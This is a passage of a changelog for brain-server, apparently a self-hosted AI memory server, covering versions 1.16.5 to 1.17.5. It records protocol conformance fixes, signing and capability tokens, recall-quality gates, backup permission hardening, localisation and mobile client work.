./deploy-web.sh → live /app re-deploy is an operator step. Tag v1.17.7

  • GitHub release are operator steps. No server restart needed (client-only static bundle).

Honest ceilings (carried into v1.17.8)

  • Graph entity relations are the server’s snapshot shape; the traverse paths intermediate hops surface by id unless a name resolves (same as the server contract).
  • Ingest does client-side JSON pre-validation only; malformed entity/relation arrays degrade to empty on the wire (server still validates).
  • The palette’s Lookup/Run command rows remain wired-but-reserved; the live id/action constructors arrive with v1.17.8’s remaining panels.
  • wasm-split unchanged (Dioxus 0.7.10 ceiling); bundle size grows.

[1.17.5] — 2026-08-09

Release notes

  • brain eval never worked — every run failed with a 405 because it called the recall endpoint with the wrong HTTP method; the command now runs and produces scores.

Bug fixes

  • Eval scores were computed against the wrong matched indices (arbitrary set ordering); indices now match the fixture’s documented positions.
  • The eval parser now reads both the search and recall response shapes, instead of only the search shape.

Improvements

  • Release builds must pass automated recall-quality floors before shipping.
  • An automated check asserts the server’s declared UMP conformance level.
  • Every tagged release now ships a CycloneDX software bill of materials (SBOM).
  • First published benchmark results for the default configuration (recall@5/10 0.919, MRR 0.905).

Engineering record

CLI — “Eval Fix” (brain eval + bench)

  • Fixed: brain eval was dead on arrival — every run returned 405. run_eval sent GET /recall?query=…&k=10, but /recall is a POST-only JSON route ({query, limit}); the v1.17.1 M3 ship gate and BENCH_RECALL_FLOOR could never have computed a score. Now POSTs the correct body on /recall and keeps GET /search?q=…&k=10 on the search leg (src/bin/brain.rs).
  • Fixed: judged-index mapping was hash-order arbitrary. results_to_doc_indices mapped result content → DOCS index through a HashSet, whose .position() order is unspecified — recall@k was computed against the wrong judged indices. Now matches the DOCS slice directly, so indices are the fixture’s documented array positions.
  • Fixed: /recall response parsing — the parser only read the results wrapper (/search shape) while /recall returns hits; both shapes now parse (pinned by a new brain-bin test).
  • CI (round-21 gaps): two new jobs — ump-conformance boots a scratch keyed instance and asserts the reference suite’s UMP 1.0 / L3 badge line (the runner exits 0 for any level ≥ L1, so the gate checks the text); recall-gate seeds the frozen 10-doc corpus and enforces --floor r5=0.85 --floor r10=0.85 --floor mrr=0.85 with pipefail.
  • SBOM: the tag release workflow now generates a CycloneDX SBOM via the existing scripts/sbom.sh (cargo-cyclonedx from Cargo.lock) and ships it in dist/ alongside the binaries (EU CRA / OWASP A03:2025).
  • Benchmarks: first honest row in BENCHMARKS.md — the frozen 37-query smoke-set run on the default profile (r@5 0.919, r@10 0.919, nDCG@10 0.911, MRR 0.905). Smoke set only; parity rows stay PENDING per the protocol (≥100 judged queries on target hardware incl. 4 GB ARM).
  • Fixture doc-count corrected (32 → 37 judged queries).

[1.17.4] — 2026-08-09

Release notes

  • Record identities were mis-derived — the did:key encoding was rejected by reference UMP implementations; it is now spec-correct, and records signed by the previous release still verify.

Bug fixes

  • Looking up records by their content-addressed id on the UMP endpoints returned 404; urn-form ids now resolve everywhere.
  • UMP imports rejected requests that omitted a protocol version field; a missing version now defaults to 1.0.
  • Provenance and consent metadata was silently dropped on import; it is now stored and re-emitted with every record.

Improvements

  • The record integrity block now uses the reference format (content hash, signature, signer), so third-party UMP tools byte-match brain-server records.
  • Revising a record now marks the prior one with its end-of-validity time and a link to its successor.
  • Forget now clearly reports whether content was erased or tombstoned, and feedback returns the response conforming tools expect.

Engineering record

Server — “UMP Conformance” (wire fixes)

Fixes every defect a byte-level review of the reference conformance suite (github.com/edihasaj/universal-memory-protocol conformance.ts) surfaced against the v1.17.3 implementation, so the reference runner scores the full L1–L3 set. Breaking change: the emitted integrity block and the did:key identity changed shape (below) — records signed by a v1.17.3 peer still verify (dual-read), but new signatures use the reference format.

  • did:key bug fixed (breaking) — did_key_from_ed25519 used a 33-byte bare-0xed multicodec prefix; the reference didKeyFromPublicKey prefixes the two-byte 0xed 0x01 varint (34 bytes), and publicKeyFromDidKey rejects anything else. Old output did:key:z2De…; correct form did:key:z6Mk…. The operator CLI + server identity now agree with the reference (vector pinned: RFC 8032 vector-1 pk → z6MktwupdmLXVVqTzCw4i46 r4uGyosGXRnR3XjN5x1fTDDgQ).
  • Integrity block → reference §2.8 format (breaking) — {algo, hash, key, sig} replaced by {content_hash: "blake3:<base32>", signature: "ed25519:<std-base64>", signer: <did:key>}. The content hash covers the canonical record minus integrity only (id stays inside), computed with the reference’s JS-flavor canonicalization (integral floats serialize as 1, not 1.0; U+2028/U+2029 escaped) so the reference verify() byte- matches; the signature is Ed25519 over BLAKE3 of the content_hash STRING. verify_record dual-reads the legacy v1.17.3 shape. Fix found by the live reference run: the emitted signature initially carried bare base64 — the reference verifyHash requires the ed25519: prefix (/^ed25519:(.+)$/), so L3.signed failed until the emit gained the prefix (verify accepts both forms). Pinned by assertions in emit_record_signed_and_verified_with_ operator_key + ump_suite_parity_l1_to_l3.
  • from_ump version gate lenient — op requests carry no ump field (the suite sends none); absent now defaults to 1.0 (only an explicit unknown major is rejected).
  • provenance + consent carried — stored in UmpMeta, re-emitted on every record (the suite’s remember includes provenance; it previously round-tripped nowhere).
  • superseded_by on the prior record — GET /ump/memory/{id} and /ump/recall now resolve supersedes evidence links and emit the successor’s content-addressed urn; the revised record drops the carried origin so its own id resolves to a fresh urn (L2 bi-temporal: prior has time.valid_to + a non-empty superseded_by pointing at the revision).
  • id resolution by urn — /ump/memory/{id}, /ump/revise, /ump/forget, /ump/feedback accept the content-addressed urn:ump:… form (resolved via the ump_id column, which KNOWLEDGE_ROW_COLS now loads; it was previously missing so ids fell back to the xxh3-shaped urn:ump:<content_hash> form and urn lookups 404’d).
  • /ump/feedback → {ok: true} (the suite asserts it); session accepted and persisted; unknown ids 404.
  • /ump/forget reports erased for the hard path, tombstoned for the soft path.
  • Ops — the launchd plist gains BRAIN_UMP_KEY_DIR; wiki + keygen docs use the correct did:key form; COMPLIANCE.md cites Regulation (EU) 2026/1744 (GPAI obligations live 2026-08-02, watermarking 2026-12-02) with the provenance-not-watermarking posture.

New test: ump_suite_parity_l1_to_l3 (#[ignore]d, model2vec-weights precedent) — walks the reference suite’s exact requests end-to-end against a keyed instance: capabilities envelope, remember (procedural + provenance) → {id, result:"created"}, get-by-urn with a reference-shape signed integrity block, recall (urn id + signals object), revise → {supersedes:[urn]}, prior time.valid_to + superseded_by pointing at the new urn, forget → tombstoned, validation → 400 invalid_record, feedback → {ok:true}.

Verification

  • cargo test --features bench,migrate: 473 bin + 70 lib + 9 + 8 + 7 + 3×2 green; --ignored suite-parity test green. clippy -D warnings + fmt clean.
  • External reference run (live): @universalmemoryprotocol/core 1.0.0 ump-conformance against a throwaway keyed instance (fresh DB + operator key + AUTH_TOKEN): 13/13 checks, UMP 1.0 / L3 — L1 capabilities (ump 1.0, 5 kinds), remember created, get, recall (urn id + signals), L2 revise + bi-temporal valid_to + superseded, forget tombstoned, validation 400 invalid_record, L3 discovery, signed (reference verify() byte-matches + Ed25519 verifies), feedback {ok:true}, capability tokens (no-token 401, token 200), subscribe SSE. Reruns against a persistent DB report merged on L1.remember by design (content dedup) — the suite assumes a fresh store, same as the reference ump-serve.

[1.17.3] — 2026-08-09

Release notes

Bug fixes

  • Exporting from a store with no records failed with a fatal error; empty stores now export cleanly.
  • Full UMP 1.0 memory API — capabilities handshake, remember, integrity-verified get, recall with relevance signals, revise, forget, feedback, audit, and a subscription change feed.

Improvements

  • The same surface is exposed as MCP tools (ump.*) for agent integrations, with token pass-through.
  • Portable record files — export and import memories as UMP Markdown or JSON via the CLI, round-trip lossless.
  • Operator signing keys and capability tokens — generate an Ed25519 identity key, and grant scoped, expiring read/write/export tokens enforced per endpoint.

Engineering record

Server — “UMP Rollout”

The UMP 1.0 rollout on the v1.17.2 wire-conformance base: the spec’s §4.2 HTTP ops, §4.1 MCP tools, §4.3 file binding, and §5 identity + capability tokens. Conformance claim: UMP 1.0 / L3 (self-attested; §8-compliant unknown-major rejection + 0.1-import normalization already shipped in v1.17.1/1.17.2). GET /ump/capabilities (and the /.well-known/ump.json discovery doc) report conformance: "L3" when an operator key is configured, "L2" otherwise.

  • M2 — HTTP ops (/ump/*, spec §4.2) — new src/handlers/ump_ops.rs (the codec stays in ump.rs): GET /ump/capabilities (§3.1 handshake: server, ump: "1.0", conformance, kinds, bindings: ["http","mcp","file"], retrieval_signals, max_recall: 50, writable, audit); POST /ump/remember (partial record → lowered through the structured-ingest path; §3.7 gates — declared scope.owner must match the principal, consent violations → forbidden_scope/consent_violation; {id, result: created|merged| rejected}); GET /ump/memory/{id} (integrity-verified on read, §2.8 — tampered records dropped); POST /ump/recall (§3.2 {results:[{record, score, signals{similarity,recency,salience,scope_match,provenance_depth}}]} over the shared run_recall core — the existing gates/injection guard/ embedding/routing/hybrid+graph RRF/packing are byte-identical, two consumers); POST /ump/revise (patch → new chunk + resolve_supersession → {id: urn:ump:NEW, supersedes:[OLD]}); POST /ump/forget ({reason, hard} — hard:false soft-flags, hard:true takes the v1.14 purge_chunk_ids erase path, both tombstoned + audited); POST /ump/feedback (outcome followed|overridden|ignored|contradicted → the suggest-feedback last-wins upsert with the granular ump_outcome persisted); GET /ump/subscribe (SSE change feed over a tokio broadcast channel — {kind, id} events only, never record bodies; kill-switch-safe, bounded); POST /ump/audit + GET /ump/audit/verify (§9 reference facility: thin aliases over list_audit + verify_chain, capabilities.audit: true). Batch ingest — POST /ingest?format=ump accepts a UMP 1.0 batch envelope {ump:"1.0", records:[…]} (single record still accepted, back-compat); per-record status, one failure does not abort the batch.
  • M3 — MCP tools (ump.*, spec §4.1 PRIMARY) — src/bin/mcp.rs mirrors the full ops surface: ump.capabilities, ump.remember, ump.get, ump.recall, ump.revise, ump.forget, ump.feedback, ump.audit, ump.audit.verify (same thin HTTP-proxy shape as the existing tools; token passthrough via BRAIN_TOKEN_FILE/BRAIN_TOKEN).
  • M4 — File binding (*.ump.md / *.ump.json, spec §4.3) — GET /export?format=ump-md renders the portable export as the §6.3 markdown projection (front-matter ump/id/kind/scope/time/provenance + body; parse via the vault.rs parsers, round-trip lossless); POST /ingest?format=ump-md parses the same projection back through the shared lowering. brain ump export|import CLI carries both wire forms with --output/--input file paths. Fix: the v1.17.1 /export drop on DBs with empty knowledge (a fatal row-mapping bug) — observed_secs is now pub(crate) and knowledge_row_to_json reads Option<String> timestamps; pinned by export_mapping_survives_real_timestamp_rows.
  • M5 — Identity + capability tokens (spec §5) — new pure lib module src/ump_integrity.rs (#![deny(unsafe_code)], the brain_server::eval precedent): did_key_from_ed25519 (multicodec 0xed + base58btc → did:key:z6Mk…), RFC 8785 JCS canonicalization (BTreeMap), blake3 → base32 content hashes, ed25519-dalek sign/verify (§2.8 integrity signatures), and §5.2 compact capability tokens (alg.payload.sig, {iss, verbs:[read|write|derive|export], scope:{project}, exp}). brain ump keygen [--dir] CLI writes an Ed25519 seed to BRAIN_UMP_KEY_DIR (default ~/.config/brain-server/ump/operator.key, 0600, refuses overwrite) and prints the DID. Enforcement: a capability token presented as Authorization: Bearer on /ump/* + /export is verified (key, signature, expiry) at the auth middleware, then verbs × scope are enforced per handler (cap_gate after authorize — reads need read, writes write or derive, export paths export; scope must be absent/empty or global; audit/ audit/verify deny capability bearers — no admin verb exists). Unknown/malformed/expired → unauthorized. The §5.3 injection-resistant rehydration obligations (server: verify-before-emit + scope/consent filter before ranking — already the recall pipeline order; client: structural framing, never-execute-body) are documented in API_CONTRACT.md + SECURITY.md.
  • Docs — API_CONTRACT.md gains a §UMP binding (levels, routes, tokens, redact semantics, §5.3 note); COMPLIANCE.md maps the UMP integrity + consent controls; SECURITY.md covers UMP key storage (same 0600/0700 posture as BRAIN_JWT_KEY_DIR) + injection-resistant rehydration; openapi.yaml → 1.17.3 (10 /ump/* routes + 2 well-known docs + batch/ump-md format values + UmpRecord/UmpCapabilities/ UmpRecallResponse/UmpFeedbackRequest/UmpBatchRequest/Integrity schemas). Version 1.17.2 → 1.17.3.

Honest ceilings

  • Conformance is self-attested — the §7 level definitions are mapped onto the shipped surface, not certified by a third party.
  • L3 in §7 means the local integrity layer (sign/verify with the operator key); A2A federation, remote agent identity, and per-tenant key hierarchies remain v2.x.
  • GET /ump/subscribe is a change signal, not a data channel — event bodies are intentionally absent (documented §3.8 posture).
  • Batch import lowers records one-by-one through the existing ingest path; no parallel ingestion, no partial-transaction rollback (per-record status is the contract).
  • The did:key emission is Ed25519 only (same documented posture as the v1.2 JWKS EC/Ed gap); RSA capability keys are out of scope.
  • Client-side §5.3 obligations are documented, not enforced by the server.

[1.17.2] — 2026-08-09

Release notes

Bug fixes

  • The UMP export/import adapter shipped with a guessed wire format that real UMP 1.0 software would not understand; records now conform to the published spec — correct version tag, kind vocabulary, content-addressed ids, RFC 3339 timestamps, and relation shapes.

Improvements

  • Imports now reject records declaring an unknown protocol major version instead of silently reinterpreting them.
  • The server declares UMP 1.0 / L0 (portable-record file binding) conformance.

Engineering record

Server — “Harden”

  • UMP adapter conforms to the actual UMP 1.0 spec — the v1.17.1 adapter shipped a guessed “0.1” wire shape; the real spec is Universal Memory Protocol 1.0 (github.com/edihasaj/universal-memory-protocol, SPEC.md). Conformance changes: records now carry "ump": "1.0"; the five-kind vocabulary (semantic/episodic/procedural/working/identity — the invented declarative mapping is gone; decision lowers to semantic); ids are content-addressed per §6.2 (urn:ump:<content_hash>, fallback urn:ump:brain:<domain>:<id> for hashless legacy rows); time.* is RFC 3339 (§2.3 REQUIRED string form, round-tripped from brain naive-UTC); top-level relations use the §2.5 {type, target} shape (about = from-entity, typed link = to-entity) while the lossless graph stays in body.structured; and §8 is honored — import rejects an unknown ump major version instead of reinterpreting it. Conformance claim: UMP 1.0 / L0 (portable-record file binding).

[1.17.1] — 2026-08-09

Release notes

Bug fixes

  • Ingest now consistently records the acting user as the record owner, so authenticated writes carry the correct subject instead of an inconsistent one.
  • Per-kind retention — each memory kind expires on its own schedule (defaults overridable), enforced at query time; the decayed list explains why each item expired.

Improvements

  • brain eval runs a fixed query set against recall and enforces quality floors, usable as a pre-ship gate.
  • Governance records — an Article 30 processing register, a public EU AI Act Code-of-Practice conformity marker, an AI-literacy disclosure endpoint, and a deployer playbook plus RFP response kit.
  • Snapshot self-check — verify each backup exists, has correct permissions, and passes integrity and audit-chain checks, from the CLI.

Engineering record

Server — “Govern”

  • M1 ingest-owner correctness fix — /ingest now seeds owner from the principal consistently (gate::principal_to_owner is pub and wired into the direct-ingest sites), so JWT-mode rows carry the acting subject and the record-level scope story is coherent on writes.
  • M2 per-kind retention policy — new GET/POST /retention (POST = Admin
    • audited): kind-default expiry (fact:365, episodic:30, procedure:730, step:730, decision:730 days, overridable via BRAIN_RETENTION_KIND_DAYS) enforced at query time in push_gate_filters (per-kind expires_at disjunction), never by a sweeper. /decayed now reports effective_expiry/memory_kind/reason (per_chunk vs kind_policy). Additive retention_policy table; schema stamp 1.17.1.
  • M3 recall ship-gate CLI — brain eval runs the frozen 32-query fixture (tests/fixtures/eval_queries.md) against /recall and asserts floors (--floor r5=0.85 … or BENCH_RECALL_FLOOR); brain bench gains the same floor gate. brain_server::eval metric fns shared by both.
  • M4 UMP wire adapter — GET /export?format=ump re-renders the portable export as UMP records with a name-based per-chunk graph; POST /ingest?format=ump lowers a UMP envelope back into the structured-ingest path. Round-trip is identity on row fields (pinned by tests); batch import is a documented v2.x ceiling. (Wire shape was corrected to the actual UMP 1.0 spec in [1.17.2].)
  • M5 Art 30 register — new GET /art30 (Admin): the activities register every controller must maintain (categories of data, purposes incl. explicit consent/controller obligation, retention, provenance), projected from the existing tables. BRAIN_CONTROLLER_NAME names the controller.
  • M6 CoP marker — new /.well-known/cop-notice (public): machine-readable EU AI Act Code of Practice conformity state (self-attested; commitments + self-assessment link + last_review) for the client’s CoP icon lane.
  • M7 snapshot self-check — new GET /snapshot/status (Admin) + brain snapshot-status: per VACUUM INTO .bak — exists, size, 0600, PRAGMA integrity_check, audit-chain verify. No new backup writer.

Tests

  • 451 server tests (+5: UMP round-trip/kind-mapping/malformed-reject, UMP export renderer, CoP marker) + 5 brain-bin tests; clippy -D warnings + fmt clean.

Docs

  • docs/AI_LITERACY.md (new) — EU AI Act Art 4 deployer playbook: what the memory component is/is not, the inspectable controls that are the literacy substance (trace, proposal gate, quarantine, DSAR, audit chain), and a weekly verify + DSAR-drill cadence. Cross-linked from COMPLIANCE.md §6.4 and README.md.
  • docs/RFP_RESPONSE_KIT.md (new) — map brain-server features to common enterprise RFP sections (security, privacy/DSAR, AI governance, ops) with the evidence artifact behind each claim.
  • GET /.well-known/ai-literacy (new, public) — machine-readable Art 4 disclosure pointing at the playbook + enumerating the inspectable controls, mirroring the Art 50 ai-notice route. Registered in both auth-public path lists, the router, and openapi.yaml; pinned by a unit test.
  • COMPLIANCE.md — §7 now references the live /.well-known/ai-notice disclosure (Art 50 machine-readable origin notice); §6.4 points at /.well-known/ai-literacy + docs/AI_LITERACY.md. §7.1 (new, this release) documents the CoP marker.
  • Wiki mirror — the three docs/ artifacts (AI_LITERACY, RFP response kit, MemGhost mitigation) mirrored as hand-authored wiki pages (AI-Literacy, RFP-Response-Kit, MemGhost-Mitigation) and wired into _Sidebar + Home quick links, so the procurement-facing wiki surfaces the same governance story as the repo.

[1.17.0] — 2026-08-08

Release notes

Improvements

  • Refresh controls on the Review, Audit, and Health panels work on every platform, including mobile.
  • brain:// deep links are registered on iOS and Android, so custom-scheme links open the app.
  • The connect screen remembers the last successful server URL and pre-fills it on return; the token stays in the OS keyring.
  • Store-readiness package: App Store / Play privacy labels (“no data collected” — self-hosted backend, no analytics or tracking) and a submission checklist.

Engineering record

v1.17.0 “Mobile” — client-only. Completes the v1.17.0 Mobile plan on top of the v1.16.6 mobile groundwork (secure token storage seam + responsive bottom-tab UX). The M1 (Keychain/Keystore seam) and M2 (nav swap / sheet / touch targets / safe-area) halves shipped as v1.16.6; this release lands the remaining mobile + store-readiness milestones. Server + API contract unchanged (still 1.16.7).

Added (client)

  • M2.4 portable refresh control (panels/mod.rs::RefreshButton) — Review, Audit, and Health now expose a refresh trigger that bumps their existing refresh signal (re-fetch). Works on every renderer; the native pull-to-refresh gesture remains a documented v1.18.0 ceiling (needs touch events — untestable without dx serve).
  • M3.3 deep-link intent filters (Dioxus.toml) — iOS url_schemes = ["brain"]
    • an Android VIEW/BROWSABLE intent filter for the brain:// scheme, so a custom-scheme link opens the app into the existing Routable router. Full https universal-link parity is v1.19.0.
  • M3.4 offline connect pre-fill (main.rs) — the connect screen persists the last successful base URL (non-secret UI pref via the existing i18n localStorage seam; the token stays in the OS keyring only) and pre-fills the URL field on a returning/offline connect. The specific /health failure was already shown (no crash); the field now comes pre-populated too. Pure prefill_if_empty guard + test.
  • M3.1 store-readiness (client/STORE_READINESS.md new) — App Store / Play privacy-nutrition labels (“no data collected”, accurate: one self-hosted backend, no analytics/tracking/third-party SDKs) + icon/launch/screenshot + submission checklist. Icon/screenshot generation + store upload are operator steps.

Fixed / Changed (client)

  • Client version 1.16.8 → 1.17.0.

Tests

49 client tests (was 48; +1 offline_prefill_fills_empty_field_only). Clippy -D warnings + fmt + wasm build clean.

Honest ceilings (carried into v1.18.0)

  • Native iOS/Android artifacts (dx bundle --platform {ios,android}) are an operator step — requires code signing + an Android SDK, neither present in this environment. The one-codebase compile is covered by the desktop + wasm builds; the platform glue ships in Dioxus.toml + storage.rs.
  • Pull-to-refresh is a button today; the native gesture (touch events) is v1.18.0.
  • brain:// deep links are registered but not fully routed to distinct panels yet — URL parity is v1.19.0.
  • App-store review is an external gate (low risk: “no data collected” + a governance tool, not social/UGC).

[1.16.8] — 2026-08-08

Release notes

Bug fixes

  • Web deployments could ship stale CSS — style edits silently never reached the bundle; the build now recompiles styles every deploy.
  • Five UI languages (English, German, French, Spanish, Dutch) with automatic English fallback for missing strings.
  • Light theme toggle (dark remains the default) and a compact density mode (~12.5% tighter spacing) for high-volume reviewers.

Improvements

  • Locale-aware number grouping throughout the shell.
  • A privacy panel on the connect screen states exactly what the client sends, stores, and never does (no telemetry, analytics, or third-party requests); theme, density, and locale preferences persist — never the token.

Engineering record

Client-only release: the v1.16.8 “Global” plan — locale (i18n) + light/dark theme + density + locale-aware number formatting + a privacy block on the connect screen. Server + API contract unchanged (server stays at 1.16.7).

Client — Added

  • M1 i18n (src/i18n.rs + locales/*/main.ftl). Zero-dependency FTL-subset translation: en/de/fr/es/nl bundles are compiled in at build time via include_str! and parsed once. t() resolves current-locale → en → the key itself (visible fallback, never blank), so a partial locale degrades to English. A locales/<code>/main.ftl file is added per language; RTL-ready via is_rtl. fluent/fluent-langneg are the documented upgrade path (ponytail: a simple key=value subset + a three-tier fallback is a fraction of a Fluent dependency for human-authored short strings).
  • M2 RTL readiness. dir on <html> flips to rtl for ar/he/fa/ur locales (none ship in v1.16.8; the layout + CSS are RTL-ready when one is added).
  • M3 light theme. A top-bar toggle flips data-theme="light" on <html>; input.css swaps every token (dark-first stays the default), keeping the state hue names identical so the recall/security tests pinning them need no change.
  • M4 density. A toggle flips data-density="compact" on <html> (14px root font, ~12.5% denser rem-based spacing) — a pure CSS knob, no JS, for high-volume reviewers. Comfortable is the default.
  • M5 locale-aware numbers. format_number groups per locale (en → ,, de/fr/es/nl → .), wired into the shell pending/flags counts. Deviates from the plan’s Intl.NumberFormat-via-document::eval because eval is async (no sync path in Dioxus 0.7); the pure fn is synchronous + testable.
  • M6.2 privacy block. The connect screen now has a <details> transparency panel stating exactly what the client sends (URL + token, token to the backend only), stores (nothing on web — the v1.16.1 in-memory posture; the OS keyring on native), and never does (no telemetry, no analytics, no third-party requests). Locale-aware like the rest of the shell.
  • Pref persistence. Theme / density / locale are persisted to web localStorage (best-effort, sanitized, non-sensitive) and restored on launch; never the auth token (credentials_stay_in_memory guard still enforced).

Client — Changed

  • Shell chrome localized — rail + mobile tab-bar nav, top-bar counts, pending/flags/audit badges, connection + principal pillars, sign-out, degrade banners, and the context drawer header all render through t() (precomputed locals so the rsx! text-node interpolation never holds a nested t("…") call).
  • deploy-web.sh now compiles Tailwind. dx bundle does not recompile Tailwind in build mode (the [tailwind] input here is styles/input.css, not a root tailwind.css, so dx’s auto-watch never fires) — it copies+hashes the pre-built assets/tailwind.css, so CSS edits silently never reached the bundle (the stale-CSS class of bug Agent 50 fixed). The script now runs npx @tailwindcss/cli -i styles/input.css -o assets/tailwind.css first, per the Dioxus 0.7 docs. Verified: the fresh bundle carries data-theme/data-density.

Client — Tests

  • 48 passed (was 43; +5 i18n tests): resolve fallback chain, per-locale group_digits, RTL detection, persisted-pref sanitizers, and a guard that every locale’s keys exist in en (the .ftl files actually load). Pure cores are signal-free so the unit tests need no Dioxus runtime.

Fixed

  • Dioxus global signals exposed as accessor fns (not statics) — a static Signal can’t be mutated (.set()) without an immutable-static borrow error; the accessor-fn pattern is Dioxus’ documented idiom for global state.

Honest ceilings (carried into v1.17.0)

  • The i18n is a simple FTL subset — no ICU plurals/term references, no message arguments (all strings are static; numbers are concatenated). fluent is the upgrade path.
  • fr digit grouping uses . (a narrow no-break space would be more correct).
  • No RTL locales ship yet; dir + CSS are ready but unexercised by a real RTL string set (a buyer locale is the acceptance test).
  • Theme/density are cosmetic (no system-color-scheme auto-follow); color-scheme flips correctly.
  • The .ftl files are hand-maintained alongside the string keys — a missing key degrades to the key name (visible) rather than failing, by design.

[1.16.7] — 2026-08-08

Release notes

Bug fixes

  • The limit parameter on the deletion registry was silently ignored, always returning all rows; it is now honored.
  • Export now includes the record source column it was documented to emit.
  • Web client — installable as a PWA with an offline app shell, and review-proposal / DSAR-certificate pages are now shareable URLs.
  • Web client — command palette (Cmd/Ctrl+K), paginated audit log with load-more, and a debounced recall input.

Improvements

  • Accessibility: dialogs trap focus, batch and certificate outcomes are announced to screen readers, and RTL-scripted memory content flows correctly.
  • New public AI-transparency notice endpoint (EU AI Act Article 50) disclosing that AI-generated content is stored and may be returned.

Security fixes

  • SQLite snapshot backups were written world-readable — each is a plaintext copy of the whole store; they are now restricted to owner-only access.
  • The unauthenticated health endpoint is pinned to never expose store contents or personal data.

Engineering record

Server + client release. Server (Cargo.toml 1.16.6 → 1.16.7): hardening + compliance round (security + fixes + Art 50), landing on top of the client release below. Client (1.16.6 → 1.16.7): the “Integrated” plan. No client or API-contract break.

Server — Security

  • Snapshot permissions (P0). SQLite snapshots written by the integrity loop (integrity.rs) and the restore/import safety snapshot (backup.rs) were created with the process umask (world-readable 0644); each is a plaintext copy of the whole store. All three VACUUM INTO sites now chmod the resulting .bak to 0600.
  • /health never leaks content. Extracted the response into a pure health_body() builder and pinned a regression test asserting the top-level key set carries no content/PII/text field (CVE-2026-29787 class: an unauthenticated health endpoint disclosing store contents).

Server — Added

  • GET /.well-known/ai-notice (EU AI Act Art 50 transparency). New public route + handler + pure builder disclosing that the service stores and may return AI-generated content, with origin-metadata + effective date. Registered in both auth-public path lists, the router, and openapi.yaml.
  • docs/MEMGHOST_MITIGATION.md — operator-facing map of the MemGhost memory-poisoning attack (arXiv 2607.05189) onto brain-server’s HITL / audit / DSAR / provenance controls. Linked from docs/README.md.

Server — Fixed

  • GET /tombstones?limit= was silently ignored. The query struct had no limit field, so the param was accepted and dropped, returning all rows. Now honored (default 100, clamped to MAX_TOMBSTONES).
  • /export omitted the source column COMPLIANCE.md §7 claims it emits. Added source to the export SELECT + per-row JSON (back-compat additive).
  • Test isolation. v1_export_import_roundtrip_preserves_data ran run_migration (which builds the vec0 index) without register_sqlite_vec(), so it only passed in the full suite via a sibling test’s global side-effect and failed in isolation (no such module: vec0). Now self-registers, matching every other migration test.

Server — Changed

  • COMPLIANCE.md stamp updated 1.16.2 → 1.16.7.

Client — Added

  • M1 — Deep links. Two new routes (/review/:proposal_id, /subjects/certificate/:dsar_id) make the proposal-detail and DSAR- certificate views URL-addressable; RecallTrace (/recall/:trace_id, shipped in v1.16.0) completes the set. Leaf components (ReviewDetail, DsarDetail) render the same data a panel’s drawer would, and the review card title + certificate subject are now real <Link>s. Pure helpers locate_proposal/subject_of pinned by tests.
  • M2 — PWA. client/pwa/manifest.webmanifest (standalone, #0b0d10 theme) + client/pwa/sw.js (offline shell: caches only /app/index.html
    • /app/assets/*, never the API; navigation falls back to the shell). deploy-web.sh ships both into dist/ and injects the manifest link, theme-color, and service-worker registration into index.html.
  • M4 — Paginated audit. GET /audit?offset= (server, OFFSET in the SQL) + a client Load-more button with a boundary-id dedup guard. The server recent_tenant now pages; the client fetches 100 at a time.
  • M5 — Command palette. ⌘K / Ctrl+K overlay listing navigation targets + a sign-out action, filterable and keyboard-navigable (↑/↓/Enter/Esc). Pure palette_commands/filter_commands/command_label pinned by tests.
  • M6 — Recall debounce. The recall query input commits 300ms after typing stops (generation-guarded so a stale pending timer never overwrites a newer query). Pure debounce_commit pinned by a test.

Client — Hardened

  • M7.3 — Drawer focus trap. Tab / Shift+Tab now cycle focus inside the dialog (hand-rolled document::eval; the dx components add dialog route is unreachable — registry dead — so the shadcn/Radix upgrade stays a documented ceiling).
  • M7.5 — aria-live regions. role="status" + aria-live="polite" on the review batch summary, the DSAR certificate chain badge, and the audit export announcement — mutation outcomes are read aloud.
  • M7.6 — RTL. <html dir="auto"> injected at deploy time so memory content in RTL scripts flows correctly while the shell stays LTR (no i18n extraction — that is v2.x).

Client — Fixed / changed

  • M3 wasm-split is a documented ceiling, not code. Dioxus 0.7.10 has no wasm-split feature and the official docs still list bundle splitting + lazy components as “planned”. No code — recorded in the plan.
  • M7.7 stays an operator/native-toolchain step (no Android SDK / cargo-ndk here): lib.rs mobile entry, probe pause/resume, store readiness, MASVS tables are documented, not compiled in.

Verification

  • Client: 43 tests, clippy --all-targets -- -D warnings clean, cargo fmt --check clean, cargo build --target wasm32-unknown-unknown clean.
  • Server: 436 lib + audit/integration green (cargo test --features bench,migrate); the only server change is the additive offset param on /audit.
  • Live /app: 200; /app/manifest.webmanifest + /app/sw.js 200; dist carries the hashed JS/WASM/CSS + manifest + sw + dir="auto".

Honest ceilings (carried into v1.16.8)

  • M3 wasm-split not built (Dioxus upstream, not yet implemented).
  • Drawer focus trap is hand-rolled (document::eval), not the shadcn/ Radix Dialog with full focus restoration — dx components add dialog can’t run (registry unreachable).
  • RTL is dir="auto" only — no i18n string extraction, no per-locale switch (v2.x).
  • M7.7 Mobile milestones remain operator/native-toolchain steps.

[1.16.5] — 2026-08-08

Release notes

Bug fixes

  • Fixed a concurrency flaw in the client’s request path: an internal lock was held across a network call.
  • Session lifecycle — expired access tokens are silently refreshed once on a 401 and proactively within 60 seconds of expiry; no infinite retry loops.

Improvements

  • The top bar shows the acting identity from the token (“acting as <subject>” vs “loopback”) instead of a hardcoded placeholder.
  • The connect screen accepts an access + refresh token pair, pasteable from the CLI or an identity provider.
  • Clearer auth errors: a reused refresh token reports “session revoked” with a reconnect path instead of a generic failure.

Engineering record

“Secure” (client-only — JWT refresh lifecycle + principal)

Client 1.16.4 → 1.16.5; server + API contract unchanged. The client’s JWT lifecycle: refresh-on-401, principal identity display, session-expiry awareness, and the honest revocation path. See IMPLEMENTATION_PLAN_v1.16.5_Secure.md.

Improvements

  • JWT-aware ApiClient (M1) — TokenClaims (sub/exp/scope/team) + decode_claims() (base64url-payload decode, no crypto — brain-server verifies on receipt; the client reads claims for display + expiry only). with_principal()/with_refresh_pair() derive the identity pillar from the JWT sub claim; derive_principal() distinguishes opaque loopback tokens (None) from JWT-shaped ones.
  • Principal display (M2) — the top bar shows acting as <sub> for JWT tokens, loopback for opaque ones (replaces the hardcoded remote-user placeholder in Connect). The Intent-Based-Auditing identity pillar.
  • Refresh-on-401 (M3) + pre-emptive refresh (M5.1) — a request_with_refresh wrapper silently refreshes once on 401 and retries the original request; needs_refresh() refreshes proactively when the access token’s exp is within 60s. One retry only — no infinite loop.
  • Connect screen JWT mode (M4) — a token / JWT-pair radio toggle (access + refresh pasted from brain key mint or an IdP).
